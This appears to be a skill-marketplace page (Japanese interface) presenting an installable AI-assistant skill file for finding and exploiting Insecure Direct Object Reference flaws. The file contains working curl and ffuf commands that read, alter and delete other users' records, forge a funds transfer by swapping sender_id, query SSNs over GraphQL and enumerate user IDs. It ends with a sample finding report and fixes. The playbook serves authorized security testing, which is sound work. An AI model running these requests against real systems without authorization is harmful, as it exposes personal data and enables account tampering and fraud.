メニュー
Identifying and exploiting Insecure Direct Object Reference vulnerabilities to access unauthorized resources by manipulating object identifiers in API requests and URLs.
デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。
インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
直接コマンドでは確認用 Prompt が省略されます。実行前にソースを確認してください。
npx skills add https://github.com/xalgord/xalgorix --skill exploiting-idor-vulnerabilitiesコマンドは1行のまま表示されます。コピー前に横へスクロールして全体を確認してください。
ローカルで確認しますか？SkillsMP が現在取得できるファイルをダウンロードできます。
Detecting and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding parsing discrepancies between front-end and back-end servers.
Identifying and exploiting OAuth 2.0 and OpenID Connect misconfigurations including redirect URI manipulation, token leakage, and authorization code theft during security assessments.
Identifying and exploiting dangling DNS records pointing to unclaimed cloud services, enabling subdomain takeover for phishing, cookie stealing, and authentication bypass during authorized penetration tests.
SOC 職業分類に基づく
SKILL.md を表示中
| name | exploiting-idor-vulnerabilities |
| description | Identifying and exploiting Insecure Direct Object Reference vulnerabilities to access unauthorized resources by manipulating object identifiers in API requests and URLs. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","idor","access-control","owasp","burpsuite","web-security"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"] |
IDORs are missed when only the obvious /users/{id} numeric swap is tried.
For every object reference, work through this checklist:
?id=,
?user_id=), body fields, JSON nested IDs, and headers. Test GET, POST, PUT,
PATCH, and DELETE — read may be locked while write is not.MTAx=101), hashed IDs, and slugs. Decode/re-encode to
enumerate.?id=101&id=102),
arrays/bulk ({"ids":[101,102]}), wrapping a value in [] or {}, changing
Content-Type to JSON, and appending .json/.xml to force an alternate
handler that skips authorization.X-HTTP-Method-Override: GET,
_method=PUT, or path tricks (;, ..;/, trailing /) that route past the
access-control check.Identify every endpoint that references objects by ID across the application.
# Browse the application through Burp proxy with User A
# Review Burp Target > Site Map for endpoints with object references
# Common IDOR-prone endpoints to look for:
# GET /api/users/{id}
# GET /api/orders/{id}
# GET /api/invoices/{id}/download
# PUT /api/users/{id}/profile
# DELETE /api/posts/{id}
# GET /api/documents/{id}
# GET /api/messages/{conversation_id}
# Extract all endpoints with IDs from Burp proxy history
# Burp > Proxy > HTTP History > Filter by target domain
# Look for patterns: /resource/123, ?id=123, {"user_id": 123}
# Check different ID formats:
# Numeric sequential: /users/101, /users/102
# UUID: /users/550e8400-e29b-41d4-a716-446655440000
# Base64 encoded: /users/MTAx (decodes to "101")
# Hashed: /users/5d41402abc4b2a76b9719d911017c592
# Slug: /users/john-doe
Set up the Authorize extension to automatically replay requests with a different user's session.
# Install Authorize from BApp Store:
# Burp > Extender > BApp Store > Search "Authorize" > Install
# Configuration:
# 1. Log in as User B (victim) in a separate browser/incognito
# 2. Copy User B's session cookie/authorization header
# 3. In Authorize tab > Configuration:
# - Add User B's cookies in "Replace cookies" section
# - Or add User B's Authorization header in "Replace headers"
# Example header replacement:
# Original (User A): Authorization: Bearer <token_A>
# Replace with (User B): Authorization: Bearer <token_B>
# 4. Enable "Intercept requests from Repeater"
# 5. Enable "Intercept requests from Proxy"
# Authorize will show:
# - Green: Properly restricted (different response for different user)
# - Red: Potentially vulnerable (same response regardless of user)
# - Orange: Uncertain (needs manual verification)
Attempt to access resources belonging to another user at the same privilege level.
# Authenticate as User A (ID: 101)
TOKEN_A="Bearer eyJ..."
# Get User A's own resources
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/101/profile" | jq .
# Attempt to access User B's resources (ID: 102) with User A's token
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/profile" | jq .
# Compare responses - if both return 200 with data, IDOR is confirmed
# Test across different resource types
for resource in profile orders invoices messages documents; do
echo "--- Testing $resource ---"
# User A's resource
curl -s -o /dev/null -w "Own: %{http_code} " \
-H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/101/$resource"
# User B's resource
curl -s -o /dev/null -w "Other: %{http_code}\n" \
-H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/$resource"
done
# Test with POST/PUT/DELETE for write-based IDOR
curl -s -X PUT -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"name":"Hacked"}' \
"https://target.example.com/api/v1/users/102/profile"
Attempt to access admin or elevated resources with a regular user token.
# As regular user, try accessing admin user profiles
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/1/profile" | jq .
# Try accessing admin-specific resources
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/admin/reports/1" | jq .
# Test accessing resources across organizational boundaries
# User in Org A trying to access Org B's resources
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/organizations/2/settings" | jq .
# Test file download IDOR
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/invoices/999/download" -o test.pdf
file test.pdf
Look for IDOR in request bodies, headers, and indirect references.
# IDOR in request body parameters
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"sender_id": 101, "recipient_id": 102, "amount": 1}' \
"https://target.example.com/api/v1/transfers"
# Change sender_id to another user
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"sender_id": 102, "recipient_id": 101, "amount": 1000}' \
"https://target.example.com/api/v1/transfers"
# IDOR in file references
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/files?path=/users/102/documents/secret.pdf"
# IDOR in GraphQL
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"query":"{ user(id: 102) { email phone ssn } }"}' \
"https://target.example.com/graphql"
# IDOR via parameter pollution
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/101/profile?user_id=102"
# IDOR in bulk operations
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"ids": [101, 102, 103, 104, 105]}' \
"https://target.example.com/api/v1/users/bulk"
Determine the full scope of data exposure through IDOR.
# Enumerate valid object IDs
ffuf -u "https://target.example.com/api/v1/users/FUZZ/profile" \
-w <(seq 1 500) \
-H "Authorization: $TOKEN_A" \
-mc 200 -t 10 -rate 20 \
-o valid-users.json -of json
# Count total accessible records
jq '.results | length' valid-users.json
# Check what sensitive data is exposed per record
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/profile" | \
jq 'keys'
# Look for: email, phone, address, ssn, payment_info, password_hash
# Test IDOR on state-changing operations
# Can User A delete User B's resources?
curl -s -X DELETE -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/posts/1" \
-w "%{http_code}"
# WARNING: Only test DELETE on known test data, never on real user data
A true-positive IDOR needs proof you accessed another principal's object, not just a 200:
Do not conclude "not vulnerable" after the obvious numeric {id} swap returns 403. Before giving up you MUST also try: UUID/base64/hash-encoded ids, the id in query/body/header/JSON-nested positions, every method (GET/POST/PUT/PATCH/DELETE), parameter pollution (?id=A&id=B), array/bulk wrappers, and appending .json/.xml or a method-override header — authorization is frequently enforced on one representation but not another.
| Concept | Description |
|---|---|
| Horizontal IDOR | Accessing resources belonging to another user at the same privilege level |
| Vertical IDOR | Accessing resources requiring higher privileges than the current user has |
| Direct Object Reference | Using a database key, file path, or identifier directly in API parameters |
| Indirect Object Reference | Using a mapped reference (e.g., index) that the server resolves to the actual object |
| Object-Level Authorization | Server-side check that the requesting user is authorized to access the specific object |
| Predictable IDs | Sequential numeric identifiers that allow easy enumeration of valid objects |
| UUID Randomness | Using UUIDv4 makes enumeration harder but does not replace authorization checks |
| Tool | Purpose |
|---|---|
| Burp Suite Professional | HTTP proxy with Intruder for ID enumeration and Repeater for manual testing |
| Authorize (Burp Extension) | Automated IDOR testing by replaying requests with different user sessions |
| AutoRepeater (Burp Extension) | Automatically repeats requests with modified authorization headers |
| Postman | API testing with environment variables for switching between user contexts |
| ffuf | Fast fuzzing of object ID parameters |
| OWASP ZAP | Free proxy alternative with access control testing plugins |
The /invoices/{id}/download endpoint generates PDF invoices. By incrementing the invoice ID, any authenticated user can download invoices belonging to other customers, exposing billing addresses and payment details.
The /api/users/{id} endpoint returns full user profiles including email, phone, and address. The API only checks if the request has a valid token but never verifies whether the token owner matches the requested user ID.
A document management system stores files at /files/{user_id}/{filename}. By changing the user_id path segment, users can access private documents uploaded by other users.
A messaging endpoint at /api/conversations/{id}/messages allows any authenticated user to read messages in any conversation by changing the conversation ID.
## IDOR Vulnerability Finding
**Vulnerability**: Insecure Direct Object Reference (Horizontal IDOR)
**Severity**: High (CVSS 7.5)
**Location**: GET /api/v1/users/{id}/profile
**OWASP Category**: A01:2021 - Broken Access Control
### Reproduction Steps
1. Authenticate as User A (ID: 101) and obtain JWT token
2. Send GET /api/v1/users/101/profile with User A's token (returns own profile)
3. Change the ID to 102: GET /api/v1/users/102/profile with User A's token
4. Observe that User B's full profile is returned including PII
### Affected Endpoints
| Endpoint | Method | Impact |
|----------|--------|--------|
| /api/v1/users/{id}/profile | GET | Read PII of any user |
| /api/v1/users/{id}/orders | GET | Read order history of any user |
| /api/v1/users/{id}/profile | PUT | Modify profile of any user |
| /api/v1/invoices/{id}/download | GET | Download any user's invoices |
### Impact
- 15,000+ user profiles accessible (enumerated IDs 1-15247)
- Exposed fields: name, email, phone, address, date_of_birth
- Write IDOR allows profile modification of other users
- Violates GDPR data access controls
### Recommendation
1. Implement object-level authorization: verify the requesting user owns or has permission to access the requested object
2. Use non-enumerable identifiers (UUIDv4) as a defense-in-depth measure
3. Log and alert on sequential ID enumeration patterns
4. Implement rate limiting on resource endpoints